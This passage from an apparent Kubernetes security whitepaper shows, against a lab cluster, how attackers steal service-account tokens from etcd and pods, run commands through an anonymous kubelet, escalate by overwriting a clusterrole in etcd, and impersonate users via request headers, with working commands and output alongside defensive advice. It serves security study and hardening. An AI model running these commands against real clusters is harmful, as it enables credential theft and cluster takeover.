VdVNUxXSmlNR1F0TURJME1qTXpaR1kxT1dWaUlpd2ljM1ZpSWpvaWMzbHpkR1Z0TURJME1qTXpaR1kxT1dWaUlpd2ljM1ZpSWpvaWMzbHpkR1Z0T25ObGNuWnBZMlZoWTJOdmRXNTBPbX
QxWW1VdGMzbHpkR1Z0T25kbFlYWmxMVzVsZENKOS5rMERkSWd0bUZkZm02bmFoRE1KOXVVSUZnMmt6T1AzWUhGYVZQeFh
aRTBINTNtdUFzc29aRm1OY1l1MUd3a2hlWkJ5RWNZY005S2lsSVdabWhSMmluQ09OZVo2YkVMc2wwR1VwZHNLZVktM1Ax
TEtIc0JZVU1WQmp3dTNXQnVHSXRrcnFxbDBzdjNWMEJkUGlHRXdFNE5TMnpaamxia3dXMHZZUWpwVjVKb3R4RkZ5NEtWN
E1sVm40S1NSdFB4X0dyM0kxMFRzbW1CUUp6SnRyUmVkY3BUM3JxVTMwT05JYkt4WFdXcmJWSFNTcTM0VVB0bnA1dllOZE
VWVjhkZ0x3TmNhY0hwb0FILThiZkJyVWcyNlZtdzd5bXE0Ri0tM1hFb0IxYk5ZVWUzdWg4OXYwbnJzYS1hcEFTdGxNMzN
wQ20xRFpxU3JOWWtDNE9uUGptcnJvNGc=' | base64 -d
eyJhbGciOiJSUzI1NiIsImtpZCI6IiJ9.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRl
cy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJrdWJlLXN5c3RlbSIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY
291bnQvc2VjcmV0Lm5hbWUiOiJ3ZWF2ZS1uZXQtdG9rZW4tbm1iMjYiLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW
50L3NlcnZpY2UtYWNjb3VudC5uYW1lIjoid2VhdmUtbmV0Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlLWFjY291bnQudWlkIjoiNjNiMmU2MTItOWJhNC0xMWU5LWJiMGQtMDI0MjMzZGY1OWViIiwic3ViIjoic3lzdGVt
OnNlcnZpY2VhY2NvdW50Omt1YmUtc3lzdGVtOndlYXZlLW5ldCJ9.k0DdIgtmFdfm6nahDMJ9uUIFg2kzOP3YHFaVPxXZ
E0H53muAssoZFmNcYu1GwkheZByEcYcM9KilIWZmhR2inCONeZ6bELsl0GUpdsKeY-
3P1LKHsBYUMVBjwu3WBuGItkrqql0sv3V0BdPiGEwE4NS2zZjlbkwW0vYQjpV5JotxFFy4KV4MlVn4KSRtPx_Gr3I10Ts
mmBQJzJtrRedcpT3rqU30ONIbKxXWWrbVHSSq34UPtnp5vYNdEVV8dgLwNcacHpoAH-8bfBrUg26Vmw7ymq4F--
3XEoB1bNYUe3uh89v0nrsa-apAStlM33pCm1DZqSrNYkC4OnPjmrro4g
```

The decoded token is then provided to `kubectl`. Details such as the endpoint can be identified from your kube config file.

```
kubectl --server https://localhost:37543 --token
eyJhbGciOiJSUzI1NiIsImtpZCI6IiJ9.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRl
cy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJrdWJlLXN5c3RlbSIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY
291bnQvc2VjcmV0Lm5hbWUiOiJ3ZWF2ZS1uZXQtdG9rZW4tbm1iMjYiLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW
50L3NlcnZpY2UtYWNjb3VudC5uYW1lIjoid2VhdmUtbmV0Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZXJ
2aWNlLWFjY291bnQudWlkIjoiNjNiMmU2MTItOWJhNC0xMWU5LWJiMGQtMDI0MjMzZGY1OWViIiwic3ViIjoic3lzdGVt
OnNlcnZpY2VhY2NvdW50Omt1YmUtc3lzdGVtOndlYXZlLW5ldCJ9.k0DdIgtmFdfm6nahDMJ9uUIFg2kzOP3YHFaVPxXZ
E0H53muAssoZFmNcYu1GwkheZByEcYcM9KilIWZmhR2inCONeZ6bELsl0GUpdsKeY-
3P1LKHsBYUMVBjwu3WBuGItkrqql0sv3V0BdPiGEwE4NS2zZjlbkwW0vYQjpV5JotxFFy4KV4MlVn4KSRtPx_Gr3I10Ts
mmBQJzJtrRedcpT3rqU30ONIbKxXWWrbVHSSq34UPtnp5vYNdEVV8dgLwNcacHpoAH-8bfBrUg26Vmw7ymq4F--
3XEoB1bNYUe3uh89v0nrsa-apAStlM33pCm1DZqSrNYkC4OnPjmrro4g --insecure-skip-tls-verify get nodes
NAME                 STATUS   ROLES    AGE     VERSION
kind-control-plane   Ready    master   3h47m   v1.13.4
kind-worker          Ready    <none>   3h47m   v1.13.4
kind-worker2         Ready    <none>   3h47m   v1.13.
```

Defending

The use of PKI and associated guidelines should be sufficient for preventing direct access to `etcd`. As with any PKI infrastructure, keys should be monitored for misuse, and procedures should be in place to revoke and generate new certificates when misuse or otherwise nefarious activity is identified. Ensure that keys and certificates are adequately protected, and only accessible from the `kube-apiserver`.

As with other components, do not re-use `etcd` clusters across your infrastructure. This is to avoid compromise via a non-Kubernetes related service. Additionally, network filtering should be deployed if possible, to prevent any systems other than the control plane from access.

Verify with cloud service providers if clusters are accessible within Virtual Private Clouds (VPCs) or from the Internet as a whole. Additionally, validate what types of data are available from metadata services and take additional steps to protect authentication information.

Authentication

When we discuss authentication in Kubernetes, our primary area of concern is authentication to the API server. At the API server, there are various methods of authenticating a user.

In Kubernetes, there are two separate user types. The first user type is service accounts which are primarily authenticated using bearer tokens. The second user type is normal users that do not exist as objects, as is the case with bearer tokens used with service accounts. Normal users primarily use TLS client certificates to identify themselves, with follow up authorization occurring using groups identified within the certificate. Other methods may be used to identify a user, such as a static file; however, these are rarely used and should not be deployed in a production environment

Authentication in Kubernetes is straight-forward and attackers with enough access to cluster resources will find authenticating to the cluster a simple enough task. To control a cluster, an understanding of authorization is much more important, which is discussed in length in the next section.

Not all forms of authentication are discussed below. Some, including password files and basic authentication, have been skipped. These should not be used in production deployments. These methods have a significant weakness in that passwords are either passed in plaintext on the command line or stored in plaintext in configuration files. An overview of all methods is available in the official Kubernetes documentation.

Bearer Tokens and Service Accounts

In the Attack Surface of etcd section it was shown how to enumerate and steal tokens directly from `etcd`. These tokens are JSON Web Tokens (JWT), which we will refer to as bearer tokens going forward. Let's take a closer look at a bearer token. For example, consider the following token (JWT's are most often base64 encoded JSON strings delimited by a period):

```
eyJhbGciOiJSUzI1NiIsImtpZCI6IiJ9.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRl
cy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJrdWJlLXN5c3RlbSIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY
291bnQvc2VjcmV0Lm5hbWUiOiJ3ZWF2ZS1uZXQtdG9rZW4tbm1iMjYiLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW
50L3NlcnZpY2UtYWNjb3VudC5uYW1lIjoid2VhdmUtbmV0Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZXJ
2aWNlLWFjY291bnQudWlkIjoiNjNiMmU2MTItOWJhNC0xMWU5LWJiMGQtMDI0MjMzZGY1OWViIiwic3ViIjoic3lzdGVt
OnNlcnZpY2VhY2NvdW50Omt1YmUtc3lzdGVtOndlYXZlLW5ldCJ9.k0DdIgtmFdfm6nahDMJ9uUIFg2kzOP3YHFaVPxXZ
E0H53muAssoZFmNcYu1GwkheZByEcYcM9KilIWZmhR2inCONeZ6bELsl0GUpdsKeY-
3P1LKHsBYUMVBjwu3WBuGItkrqql0sv3V0BdPiGEwE4NS2zZjlbkwW0vYQjpV5JotxFFy4KV4MlVn4KSRtPx_Gr3I10Ts
mmBQJzJtrRedcpT3rqU30ONIbKxXWWrbVHSSq34UPtnp5vYNdEVV8dgLwNcacHpoAH-8bfBrUg26Vmw7ymq4F--
3XEoB1bNYUe3uh89v0nrsa-apAStlM33pCm1DZqSrNYkC4OnPjmrro4g
```

We can decode this and see that the following algorithm is used to generate it.

```
{
  "alg": "RS256",
  "kid": ""
}
```

We can also view the payload data, as follows:

```
{
  "iss": "kubernetes/serviceaccount",
  "kubernetes.io/serviceaccount/namespace": "kube-system",
  "kubernetes.io/serviceaccount/secret.name": "weave-net-token-nmb26",
  "kubernetes.io/serviceaccount/service-account.name": "weave-net",
  "kubernetes.io/serviceaccount/service-account.uid": "63b2e612-9ba4-11e9-bb0d-024233df59eb",
  "sub": "system:serviceaccount:kube-system:weave-net"
}
```

The bearer tokens are managed and created by the `kube-controller-manager`. The following command line arguments identify the private key path.

```
kube-controller-manager
--service-account-private-key-file=/etc/kubernetes/pki/sa.key
```

They are validated by the `kube-apiserver` using an associated public key.

```
kube-apiserver
--service-account-key-file=/etc/kubernetes/pki/sa.pub
```

Provided an attacker has access to the private key, it would be possible to create a token for any service account; however, without access to the API or `etcd`, it would be very difficult to generate a usable token. The command line option below controls whether service account tokens exist in `etcd` during authentication.

```
--service-account-lookup     Default: true
```

As a result of this default behavior, generating forged tokens for service accounts is not going to be a typical avenue of attack. For further details regarding the lookup process, Kubernetes source code[12] can be referenced.

Privilege escalation attacks, such as the 'confused deputy problem' are also solved in this lookup function. It is not possible to create a token using a different secret name and username, as the generated token would be different in `etcd`.

[12] Kubernetes on GitHub: https://github.com/kubernetes/kubernetes/blob/a3ccea9d8743f2ff82e41b6c2af6dc2c41dc7b10/pkg/serviceaccount/legacy.go#L98-L128

With administrative access to the API server or `etcd`, recovering or generating tokens based off existing service accounts would likely serve as a great method for maintaining persistence. Performing actions across a cluster as service account activity is likely to be misunderstood and assumed safe across logging and alerting.

Service Tokens on Pods

All containers in a Pod run with a service account. If a service account is not provided, the `default` account is used. Care should be taken to provide Pods with service accounts using the principle of least privilege. Attack scenarios have been documented against third-party services which will orchestrate Pod deployment using overly permissive service accounts. In these instances, a compromise of a Pod container is catastrophic.

Once file-system access has been established within a container, service account credentials can typically be found in the following location.

```
/run/secrets/kubernetes.io/serviceaccount/token
```

General utilities can be used to quickly parse the token and view the related service account.

```
# awk -F'.' '{print $2}' /var/run/secrets/kubernetes.io/serviceaccount/token | base64 -d
{"iss":"kubernetes/serviceaccount","kubernetes.io/serviceaccount/namespace":"default","kubern
etes.io/serviceaccount/secret.name":"default-token-
t29qz","kubernetes.io/serviceaccount/service-
account.name":"default","kubernetes.io/serviceaccount/service-account.uid":"ca2e5934-9eb6-
11e9-9f1e-02427ff0656b","sub":"system:serviceaccount:default:default"}
```

Environment variables within a container will lead to the location of an API server.

```
KUBERNETES_PORT=tcp://10.96.0.1:443
```

The level of access and permissions granted to the default service account vary greatly across deployments. In practice, they will likely be given some permissions that can be abused; however, they may not yield much access when using role-based access control (RBAC) authorization controls. This is highly dependent on service providers and third-party component requirements as well.

Access to resources can be tested using the token.

```
# curl -ki https://10.96.0.1:443/api/v1/pods -H 'Authorization: Bearer
eyJhbGciOiJSUzI1NiIsImtpZCI6IiJ9.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRl
cy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJkZWZhdWx0Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3Vud
C9zZWNyZXQubmFtZSI6ImRlZmF1bHQtdG9rZW4tdDI5cXoiLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3Nlcn
ZpY2UtYWNjb3VudC5uYW1lIjoiZGVmYXVsdCIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VydmljZS1hY2N
vdW50LnVpZCI6ImNhMmU1OTM0LTllYjYtMTFlOS05ZjFlLTAyNDI3ZmYwNjU2YiIsInN1YiI6InN5c3RlbTpzZXJ2aWNl
YWNjb3VudDpkZWZhdWx0OmRlZmF1bHQifQ.euxTyRcLWoJKvR4uVlDJor3X8Jm9jYRR6_BAXq7KhZjp4Y5lEBX--
CeNSjYQP2osIN7wR6ylqXrpKQ1vJ1fOkmhyqMYgSamjM0aGUcOh5VQ0B8XdhzdP3WcCiPNJDf0xM0igP3fE-
9qWs_P5KDASYr_ZgbCnbLU8PA4V3fymUjyHfHG8hOoHuF3US-DcCbisFmhP2cFpsh7S-
NQ2o6oJDhqT29IhhfFXxr2SrQB4UKSeHzuW2V270AXf92kmFqsYY2hOsAybWa9VKdHGqu_C28p6kXZCcFr2DD6NWKpq8v
OqQkhUj7JB3uCpaB7r0BFtPnrlCGevZIyzkV_8JmHqYQ'
HTTP/2 403
content-type: application/json
x-content-type-options: nosniff
content-length: 323
date: Fri, 05 Jul 2019 05:35:25 GMT

{
  "kind": "Status",
  "apiVersion": "v1",
  "metadata": {

  },
  "status": "Failure",
  "message": "pods is forbidden: User \"system:serviceaccount:default:default\" cannot list
resource \"pods\" in API group \"\" at the cluster scope",
  "reason": "Forbidden",
  "details": {
    "kind": "pods"
  },
  "code": 403
}
```

The above indicates that the default service account is not allowed to list pods within a cluster. Automated utilities could be built to enumerate possible changes to the default role or access granted to other service accounts. This is discussed in detail in the Authorization section of this document.

Mounting of the service account token can be prevented by providing the following in a Pod spec.

```
automountServiceAccountToken: false
```

Certificate Authentication

User accounts can be, and in most deployments are, authenticated using TLS certificates. Provided that a TLS certificate and key are generated using a configured Certificate Authority (CA), it is possible to authenticate to the API server. Once a certificate is validated, the `CommonName` and `Organization` fields from the certificate's `Subject` field are stored in a temporary structure for authorization.

```
$ openssl x509 -text -in client.crt
Certificate:
    Data:
        Version: 3 (0x2)
        Serial Number: 393175682204134610 (0x574d73328196cd2)
    Signature Algorithm: sha256WithRSAEncryption
        Issuer: CN=kubernetes
        Validity
            Not Before: Jul  4 23:52:03 2019 GMT
            Not After : Jul  3 23:52:05 2020 GMT
        Subject: O=system:masters, CN=kubernetes-admin
```

Request Header Authentication

The Kubernetes API can be extended using an aggregation layer. When configured, the `kube-apiserver` can authenticate and authorize a request prior to passing a request on to the third-party API server. The details of this process can be confusing, and the official documentation[13] has a detailed explanation of the authentication and authorization flow.

When using this form of authentication, the `kube-apiserver` is configured with several command-line arguments. These include the following:

- `proxy-client-cert-file`
- `proxy-client-key-file`
- `requestheader-client-ca-file`
- `requestheader-allowed-names`
- `requestheader-group-headers`
- `requestheader-username-headers`

The official documentation states that the `kube-apiserver` will use the `proxy-client-cert-file` and `proxy-client-key-file` to authenticate itself to an extension server. The `requestheader-client-ca-file` is the CA used to sign the client certificate.

What is not immediately clear in the documentation here, is that using these options also uses the CA, `requestheader-username-headers`, and `requestheader-group-headers` to configure a form of authentication on the `kube-apiserver` itself.

An attacker with access to a certificate and key can authenticate to the `kube-apiserver` as any user they wish. More details on this are available in the Authorization section of this document.

[13] Kubernetes Official Documentation – Configure the Aggregation Layer: https://kubernetes.io/docs/tasks/access-kubernetes-api/configure-aggregation-layer/

kubelet Authentication

By default, `kubelet` does not require authentication and allows anonymous access to its API. As discussed earlier, access to the `kubelet` would facilitate access to underlying Pods.

Specifically, with access to `kubelet`'s HTTP services via anonymous access enablement or through access to required certificates, it is possible to execute code on a Pod running on a node. This is another subject that has been covered across many articles, so we will only briefly touch on it here.

To begin this review, let's assume you have started a `nginx` service and that the following `kubelet` config parameters are in use.

```
apiVersion: kubelet.config.k8s.io/v1beta1
authentication:
  anonymous:
    enabled: true
authorization:
  mode: AlwaysAllow
```

The first step in an attack is to get a list of running pods. This can be done using the `kubelet` server and the `/pods` endpoint, provided you are suitably positioned on the network or have local access.

For example, below we can view details about the `nginx` pod. The following output has been snipped for brevity.

```
# curl -k https://127.0.0.1:10250/pods | jq -M  '.items[0]'
{
  "metadata": {
    "name": "my-nginx-5754944d6c-bngfr",
    "generateName": "my-nginx-5754944d6c-",
    "namespace": "default",
    "selfLink": "/api/v1/namespaces/default/pods/my-nginx-5754944d6c-bngfr",
--snip--
    "containers": [
      {
        "name": "nginx",
```

The `kubelet` API has two endpoints that can facilitate execution of code on a running Pod:

- `/run/{namespace}/{pod_name}/{container_name}`
- `/exec/{namespace}/{pod_name}/{container_name}`

The `/run` endpoint returns the commands output in an HTTP response. The `/exec` endpoint will upgrade the connection to a WebSocket and stream the response. Interacting with WebSockets isn't difficult, but will require additional utilities; as a result, the `/run` endpoint is often easier to interact with. The namespace, Pod name, and container name can all be obtained from the `/pods` endpoint.

The following shows successful execution of the `env` command using the `cmd` parameter.

```
# curl -k https://localhost:10250/run/default/my-nginx-5754944d6c-bngfr/nginx -d "cmd=env"
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
HOSTNAME=my-nginx-5754944d6c-bngfr
NGINX_VERSION=1.7.9-1~wheezy
MY_NGINX_SVC_PORT_80_TCP=tcp://10.96.89.163:80
MY_NGINX_SVC_PORT_80_TCP_PROTO=tcp
KUBERNETES_PORT_443_TCP=tcp://10.96.0.1:443
KUBERNETES_PORT_443_TCP_PROTO=tcp
MY_NGINX_SVC_SERVICE_PORT=80
KUBERNETES_SERVICE_HOST=10.96.0.1
KUBERNETES_PORT_443_TCP_PORT=443
KUBERNETES_PORT_443_TCP_ADDR=10.96.0.1
MY_NGINX_SVC_SERVICE_HOST=10.96.89.163
MY_NGINX_SVC_PORT=tcp://10.96.89.163:80
MY_NGINX_SVC_PORT_80_TCP_PORT=80
MY_NGINX_SVC_PORT_80_TCP_ADDR=10.96.89.163
KUBERNETES_SERVICE_PORT=443
KUBERNETES_SERVICE_PORT_HTTPS=443
KUBERNETES_PORT=tcp://10.96.0.1:443
HOME=/root
```

Authorization

After authentication is performed, and user, group, and service account information are populated within the `kube-apiserver`, various authorization modules are used to validate if a user can take a specified action.

At least one authorization mode must be enabled on the `kube-apiserver`. Supported modes include:

- **Attribute-based access control (ABAC)** – This mode is rarely used and may be removed in future versions of Kubernetes. This mode will not be discussed further.
- **Webhook** – This mode is highly dynamic and uses custom services not defined in the Kubernetes documentation. This mode will also not be discussed further.
- **Node** – This mode is used to control and limit access to resources by `kubelet`.
- **Role-based access control (RBAC)** – This is the most commonly used mode.

Exploration of the RBAC authorization scheme will be explored using various privilege escalation scenarios in the following sections.

Privilege Escalation Using etcd

Exploring `etcd` gives us a raw view of RBAC configurations. Each of the keys shown in the following command output can be also be viewed using `kubectl`. First, let's explore a `clusterrole`.

```
# ETCDCTL_API=3 ./etcdctl --cacert=/etc/kubernetes/pki/etcd/ca.crt --
cert=/etc/kubernetes/pki/apiserver-etcd-client.crt --key=/etc/kubernetes/pki/apiserver-etcd-
client.key --endpoints=https://127.0.0.1:2379 get /registry/clusterroles/weave-net  | ./auger
decode -o yaml
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
  creationTimestamp: 2019-07-01T02:03:16Z
  labels:
    name: weave-net
  name: weave-net
  uid: 63b3d650-9ba4-11e9-bb0d-024233df59eb
rules:
- apiGroups:
  - ""
  resources:
  - pods
  - namespaces
  - nodes
--snip –
  - list
  - watch
- apiGroups:
  - ""
  resources:
  - nodes/status
  verbs:
  - patch
  - update
```

As shown above, this `clusterrole` has a long list of rules which allow access to certain resources.

Next, let's take a look at a `clusterrolebinding`, which is used to associate a `clusterrole` to a service account.

```
root@kind-control-plane:/# ETCDCTL_API=3 ./etcdctl --cacert=/etc/kubernetes/pki/etcd/ca.crt --cert=/etc/kubernetes/pki/apiserver-etcd-client.crt --key=/etc/kubernetes/pki/apiserver-etcd-client.key --endpoints=https://127.0.0.1:2379 get /registry/clusterrolebindings/weave-net  | ./auger decode -o yaml
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
  creationTimestamp: 2019-07-01T02:03:16Z
  labels:
    name: weave-net
  name: weave-net
  uid: 63b47b0a-9ba4-11e9-bb0d-024233df59eb
roleRef:
  apiGroup: rbac.authorization.k8s.io
  kind: ClusterRole
  name: weave-net
subjects:
- kind: ServiceAccount
  name: weave-net
  namespace: kube-system
```

As shown, this binding applies to the `weave-net` service account. Viewing the associated object of this service account provides us with the location of a secret containing an associated token. We saw how to decode this secret and use this token for authentication in the Bearer Tokens and Service Accounts section.

```
# ETCDCTL_API=3 ./etcdctl --cacert=/etc/kubernetes/pki/etcd/ca.crt --
cert=/etc/kubernetes/pki/apiserver-etcd-client.crt --key=/etc/kubernetes/pki/apiserver-etcd-
client.key --endpoints=https://127.0.0.1:2379 get /registry/serviceaccounts/kube-
system/weave-net | ./auger decode -o yaml
apiVersion: v1
kind: ServiceAccount
metadata:
  creationTimestamp: 2019-07-05T06:11:48Z
  labels:
    name: weave-net
  name: weave-net
  namespace: kube-system
  uid: c5c343a1-9eeb-11e9-9896-02422a542ffa
secrets:
- name: weave-net-token-5zc2s
```

This `service-account` can view many resources, but the permissions are not as powerful as a `cluster-admin`, which has the following permissions.

```
root@kind-control-plane:/# ETCDCTL_API=3 ./etcdctl --cacert=/etc/kubernetes/pki/etcd/ca.crt -
-cert=/etc/kubernetes/pki/apiserver-etcd-client.crt --key=/etc/kubernetes/pki/apiserver-etcd-
client.key --endpoints=https://127.0.0.1:2379 get /registry/clusterroles/cluster-admin  |
./auger decode -o yaml
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
  annotations:
    rbac.authorization.kubernetes.io/autoupdate: "true"
  creationTimestamp: 2019-07-01T02:03:11Z
  labels:
    kubernetes.io/bootstrapping: rbac-defaults
  name: cluster-admin
  uid: 60dbded3-9ba4-11e9-bb0d-024233df59eb
rules:
- apiGroups:
  - '*'
  resources:
  - '*'
  verbs:
  - '*'
- nonResourceURLs:
  - '*'
  verbs:
  - '*'
```

As shown, a `cluster-admin` has access to everything, as represented by asterisks.

Using the `weave-net` service account token while attempting to list secrets will result in an unauthorized access message.

```
# ETCDCTL_API=3 ./etcdctl --cacert=/etc/kubernetes/pki/etcd/ca.crt --
cert=/etc/kubernetes/pki/apiserver-etcd-client.crt --key=/etc/kubernetes/pki/apiserver-etcd-
client.key --endpoints=https://127.0.0.1:2379 get /registry/secrets/kube-system/weave-net-
token-5zc2s | ./auger decode -o yaml
--snip—
Token: <encoded data>
--snip --

$ kubectl --server https://localhost:37543 --token
eyJhbGciOiJSUzI1NiIsImtpZCI6IiJ9.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRl
cy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJrdWJlLXN5c3RlbSIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY
291bnQvc2VjcmV0Lm5hbWUiOiJ3ZWF2ZS1uZXQtdG9rZW4tNXpjMnMiLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW
50L3NlcnZpY2UtYWNjb3VudC5uYW1lIjoid2VhdmUtbmV0Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlLWFjY291bnQudWlkIjoiYzVjMzQzYTEtOWVlYi0xMWU5LTk4OTYtMDI0MjJhNTQyZmZhIiwic3ViIjoic3lzdGVt
OnNlcnZpY2VhY2NvdW50Omt1YmUtc3lzdGVtOndlYXZlLW5ldCJ9.Xmd4KNBsDbzirLfL6Q9M_6WguTSCuN-
m_sw0w3LjAh03qLZHwNb1nf28mIZzkH-
cVjSL3GBgkoHJMtL0jJskJoaouiuCAQRA7m1agnG8Wphuc_uvdeZogN2EYl4x_8sX4i2fijVM6t5J4OVs2QsV3K7cXuN9
s3qnrt8PWqPxgAFo4SyQ9a9p5sgSSUYPgHVDbQuOjunECudBoMb1U9FWSvrIKRC9Kbm-
yXeVLvKTSDQPUCEds_kJsr4n8Q2WuPLA47BM9jyiVD5pkUuKv7LmVCAGEso6-
um4cH3SKRZHRSQgZjPhQgwrhOhWoY0rT7SNEv0Dq_0cZBYhsygS5KgAeA --insecure-skip-tls-verify get
secrets
Error from server (Forbidden): secrets is forbidden: User "system:serviceaccount:kube-
system:weave-net" cannot list resource "secrets" in API group "" in the namespace "default”
```

It is possible to use `etcdctl` and `auger` to insert raw objects into `etcd`. There are a few paths to escalation possible at this point, including creating new roles and associated bindings or overwriting existing roles and bindings. Let’s perform the latter by overwriting the `weave-net clusterrole` object with values from the `cluster-admin` role.

To begin, export an existing role to a YAML file.

```
# ETCDCTL_API=3 ./etcdctl --cacert=/etc/kubernetes/pki/etcd/ca.crt --
cert=/etc/kubernetes/pki/apiserver-etcd-client.crt --key=/etc/kubernetes/pki/apiserver-etcd-
client.key --endpoints=https://127.0.0.1:2379 get /registry/clusterroles/cluster-admin  |
./auger decode -o yaml > admin_role.yaml
```

Edit the file to modify the following fields: `timestamp`, `name`, and `UID`. These fields must be changed. The `UID` should be a `UUID` and can be generated using numerous methods.

```
creationTimestamp: 2019-07-05T07:48:41Z
name: weave-net
uid: 79ac3ee9-af72-4a32-99da-ee1b0618e57b
```

Now use `auger encode` and `put` to replace the existing object.

```
# cat admin_role.yaml | ./auger encode | ETCDCTL_API=3 ./etcdctl --
cacert=/etc/kubernetes/pki/etcd/ca.crt --cert=/etc/kubernetes/pki/apiserver-etcd-client.crt -
-key=/etc/kubernetes/pki/apiserver-etcd-client.key --endpoints=https://127.0.0.1:2379 put
/registry/clusterroles/weave-net
OK
```

It is now possible to see that the object has been overwritten.

```
# ETCDCTL_API=3 ./etcdctl --cacert=/etc/kubernetes/pki/etcd/ca.crt --
cert=/etc/kubernetes/pki/apiserver-etcd-client.crt --key=/etc/kubernetes/pki/apiserver-etcd-
client.key --endpoints=https://127.0.0.1:2379 get /registry/clusterroles/weave-net | ./auger
decode -o yaml
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
  annotations:
    rbac.authorization.kubernetes.io/autoupdate: "true"
  creationTimestamp: 2019-07-05T07:48:41Z
  labels:
    kubernetes.io/bootstrapping: rbac-defaults
  name: weave-net
  uid: 79ac3ee9-af72-4a32-99da-ee1b0618e57b
rules:
- apiGroups:
  - '*'
  resources:
  - '*'
  verbs:
  - '*'
- nonResourceURLs:
  - '*'
  verbs:
  - '*'
```

Using the same token as before, we can now list secrets.

```
kubectl --server https://localhost:42677 --token
eyJhbGciOiJSUzI1NiIsImtpZCI6IiJ9.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRl
cy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJrdWJlLXN5c3RlbSIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY
291bnQvc2VjcmV0Lm5hbWUiOiJ3ZWF2ZS1uZXQtdG9rZW4tNXpjMnMiLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2Nvd
50L3NlcnZpY2UtYWNjb3VudC5uYW1lIjoid2VhdmUtbmV0Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZXJ
2aWNlLWFjY291bnQudWlkIjoiYzVjMzQzYTEtOWVlYi0xMWU5LTk4OTYtMDI0MjJhNTQyZmZhIiwic3ViIjoic3lzdGVt
OnNlcnZpY2VhY2NvdW50Omt1YmUtc3lzdGVtOndlYXZlLW5ldCJ9.Xmd4KNBsDbzirLfL6Q9M_6WguTSCuN-
m_sw0w3LjAh03qLZHwNb1nf28mIZzkH-
cVjSL3GBgkoHJMtL0jJskJoaouiuCAQRA7m1agnG8Wphuc_uvdeZogN2EYl4x_8sX4i2fijVM6t5J4OVs2QsV3K7cXuN9
s3qnrt8PWqPxgAFo4SyQ9a9p5sgSSUYPgHVDbQuOjunECudBoMb1U9FWSvrIKRC9Kbm-
yXeVLvKTSDQPUCEds_kJsr4n8Q2WuPLA47BM9jyiVD5pkUuKv7LmVCAGEso6-
um4cH3SKRZHRSQgZjPhQgwrhOhWoY0rT7SNEv0Dq_0cZBYhsygS5KgAeA --insecure-skip-tls-verify get
secrets
NAME                  TYPE                                  DATA   AGE
default-token-pph88   kubernetes.io/service-account-token   3      8h
prod-db-secret        Opaque
```

Privilege Escalation Using Request Headers

We discussed the Request Headers authentication commands in the previous section. There, it was stated that it was possible to authenticate to an API server using a certificate and key meant to be used for API extension servers.

First, let's look at the certificate. As shown, there is no `Organization` in the `Subject` line, which is used for authorization when using TLS certificates for normal users.

```
openssl x509 -in front-proxy-client.crt -text
Certificate:
    Data:
        Version: 3 (0x2)
        Serial Number: 2835093790879246255 (0x275846c82645e7af)
    Signature Algorithm: sha256WithRSAEncryption
        Issuer: CN=front-proxy-ca
        Validity
            Not Before: Jul  4 23:52:04 2019 GMT
            Not After : Jul  3 23:52:04 2020 GMT
        Subject: CN=front-proxy-client
        Subject Public Key Info:
```

It is possible to set the username and groups of a user to any value. This can be observed using `curl`. For example, let's presuppose the `kube-apiserver` was started with the following arguments.

```
--requestheader-group-headers=X-Remote-Group
--requestheader-username-headers=X-Remote-User
```

It is possible to coerce the username that is processed for authorization.

```
$ curl -ki --cacert front-proxy-ca.crt --key front-proxy-client.key --cert front-proxy-
client.crt https://localhost:37572/api/v1/secrets -H 'X-Remote-User: x'
HTTP/1.1 403 Forbidden
Content-Type: application/json
X-Content-Type-Options: nosniff
Date: Fri, 05 Jul 2019 00:08:49 GMT
Content-Length: 296

{
  "kind": "Status",
  "apiVersion": "v1",
  "metadata": {

  },
  "status": "Failure",
  "mCSessage": "secrets is forbidden: User \"x\" cannot list resource \"secrets\" in API
group \"\" at the cluster scope",
  "reason": "Forbidden",
  "details": {
    "kind": "secrets"
  },
  "code": 403
}
```

